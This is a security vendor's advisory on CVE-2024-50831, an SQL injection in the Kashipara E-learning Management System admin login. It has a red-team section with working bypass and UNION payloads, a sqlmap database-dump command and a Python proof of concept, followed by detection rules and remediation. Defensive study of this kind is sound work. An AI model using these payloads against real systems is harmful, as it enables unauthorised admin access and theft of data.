CVE-2024-50831
Executive Summary
CVE-2024-50831 is a critical SQL Injection vulnerability discovered in the Kashipara E-learning Management System Project version 1.0. The flaw resides in the /admin/admin_user.php endpoint, specifically within the username and password POST parameters. An unauthenticated attacker can inject arbitrary SQL commands, leading to complete database compromise, including extraction of sensitive user data, credential theft, and potential lateral movement within the network. No official patch has been released by the vendor, making this a high-priority unpatched vulnerability.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not associated with a package manager (NPM, PyPI, Go, Ruby). It is a standalone PHP web application. However, organizations using this software should treat it as a supply chain risk due to the lack of vendor support and patch availability.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) – Full database read access.
- Integrity (I): High (H) – Ability to modify or delete data.
- Availability (A): High (H) – Potential for denial of service via destructive queries.
CVSS Score: 9.8 (Critical)
Threat Level: Critical. The combination of unauthenticated remote exploitation, low complexity, and high impact makes this a prime target for automated scanning and exploitation.
Deep Dive & Mechanics
The vulnerability is a classic SQL Injection in the authentication logic of admin/admin_user.php. The application likely constructs a SQL query by directly concatenating user-supplied input from the username and password POST parameters without proper sanitization or parameterized queries.
Vulnerable Code Snippet (Hypothetical):
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM admin WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $sql);
An attacker can bypass authentication by injecting SQL meta-characters. For example, submitting admin' OR '1'='1 as the username and ' OR '1'='1 as the password would result in the query:
SELECT * FROM admin WHERE username='admin' OR '1'='1' AND password='' OR '1'='1'
This always returns a valid row, granting unauthorized admin access.
Beyond authentication bypass, the attacker can use UNION-based or blind SQL injection techniques to extract data from other tables (e.g., users, courses, grades). The username and password parameters are both injectable, providing multiple entry points.
Vulnerable vs. Patched Code
Vulnerable Code (Kashipara E-learning Management System 1.0):
// admin/admin_user.php
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM admin WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $sql);
Patched Code (Hypothetical – No official patch exists):
// admin/admin_user.php
$username = mysqli_real_escape_string($conn, $_POST['username']);
$password = mysqli_real_escape_string($conn, $_POST['password']);
$sql = "SELECT * FROM admin WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $sql);
OR (Best Practice):
$stmt = $conn->prepare("SELECT * FROM admin WHERE username=? AND password=?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();
Since no official patch exists, the only mitigation is to apply input validation and parameterized queries manually or replace the software.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Target running Kashipara E-learning Management System 1.0.
- Network access to the
/admin/admin_user.phpendpoint.
Exploitation Steps:
Authentication Bypass: Send a POST request to
/admin/admin_user.phpwith the following payload:POST /admin/admin_user.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded username=admin' OR '1'='1'-- -&password=anythingData Extraction (UNION-based): Determine the number of columns:
username=admin' ORDER BY 1-- -&password=testIncrement until error. Assume 3 columns. Extract database version:
username=admin' UNION SELECT 1,@@version,3-- -&password=testAutomated Exploitation with sqlmap:
sqlmap -u "http://target.com/admin/admin_user.php" --data="username=admin&password=test" --batch --dump
Proof of Concept (Python):
import requests
url = "http://target.com/admin/admin_user.php"
data = {"username": "admin' OR '1'='1'-- -", "password": "test"}
response = requests.post(url, data=data)
if "Dashboard" in response.text:
print("[+] Authentication bypass successful")
else:
print("[-] Exploit failed")
Blue Team (Defensive)
Detection:
- Monitor for SQL injection patterns in POST parameters to
/admin/admin_user.php. - Look for unusual characters like single quotes (
'), double dashes (--), andORstatements inusernameandpasswordfields. - Deploy a Web Application Firewall (WAF) with rules to block SQLi payloads.
Hunting:
- Search web server logs for requests to
/admin/admin_user.phpwith abnormal parameter lengths or special characters. - Example log entry:
192.168.1.100 - - [01/Jan/2024:12:00:00 +0000] "POST /admin/admin_user.php HTTP/1.1" 200 1234 "-" "sqlmap/1.7"
Mitigation:
- Immediately isolate the application if possible.
- Apply virtual patching via WAF.
- Replace the vulnerable code with parameterized queries (see patched code above).
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/admin/admin_user.phpcontaining SQL keywords (UNION,SELECT,OR,--). - User-Agent strings associated with automated tools (
sqlmap,curl,python-requests). - Unusual response sizes or error messages containing SQL syntax.
- POST requests to
File IOCs:
- Modified
admin/admin_user.phpfile (if attacker uploaded a webshell). - Suspicious files in the web root (e.g.,
shell.php,cmd.php).
- Modified
Database IOCs:
- New admin accounts created in the
admintable. - Unauthorized queries in database logs (if enabled).
- New admin accounts created in the
Detection Engineering
YARA Rule
rule CVE_2024_50831_SQLi_Detection {
meta:
description = "Detects SQL injection attempts targeting CVE-2024-50831"
author = "Valters IT"
date = "2024-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-50831"
strings:
$sqli1 = "username=" nocase
$sqli2 = "password=" nocase
$sqli3 = "' OR '" nocase
$sqli4 = "UNION SELECT" nocase
$sqli5 = "-- -" nocase
condition:
all of ($sqli*) and #sqli1 > 0 and #sqli2 > 0
}
Sigma Rule
title: SQL Injection Attempt Against Kashipara E-learning Admin Login
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection patterns in POST requests to /admin/admin_user.php
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/admin/admin_user.php'
cs-uri-query|contains:
- "' OR '"
- "UNION SELECT"
- "-- -"
- "1=1"
condition: selection
falsepositives:
- Legitimate use of single quotes in usernames (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-50831 SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/admin_user.php"; http_uri; content:"username="; http_client_body; pcre:"/(\x27.*OR.*\x27|UNION.*SELECT|--\s*-)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the
/admin/admin_user.phpendpoint if not required. - Implement a Web Application Firewall (WAF) with SQL injection rules.
- Restrict network access to the admin panel (e.g., VPN, IP whitelisting).
- Disable the
Code Fix (No Official Patch):
- Replace all dynamic SQL queries with parameterized prepared statements.
- Apply strict input validation (e.g., allow only alphanumeric characters for usernames).
- Use a secure password hashing mechanism (e.g., bcrypt) and never store plaintext passwords.
Long-Term:
- Migrate to a supported and actively maintained e-learning platform.
- Conduct regular security audits and penetration testing.
- Monitor for any signs of compromise and rotate all credentials if exploitation is suspected.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.